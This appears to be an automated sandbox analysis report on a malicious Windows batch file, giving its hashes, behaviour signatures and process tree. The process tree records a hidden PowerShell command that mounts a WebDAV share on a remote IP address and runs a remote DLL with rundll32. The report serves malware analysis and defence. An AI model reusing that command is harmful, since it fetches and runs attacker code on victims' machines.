Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2024, 06:55

General

  • Target

    29426271332331925930.bat

  • Size

    2KB

  • MD5

    8e4273d06bfb3af767c08da11066c834

  • SHA1

    9cb15d6cd4ce3944990658350ace0307daeafaf5

  • SHA256

    497e0fc639df20367449ba78be9f00db051cef39c3577ef4b1c8e774a28affd5

  • SHA512

    009567b617df35befe0973f86e0604e696399c078dd5f8b0fcda40f5d5656f22d01773d22f6f7397332c4be6d6044598662b0d10bd9fb649f04b3f07ce976d82

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\29426271332331925930.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3948.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2720
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3948.dll entry
          3⤵
            PID:2812

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/2784-24-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

              Filesize

              2.9MB

            • memory/2784-25-0x0000000002B20000-0x0000000002B28000-memory.dmp

              Filesize

              32KB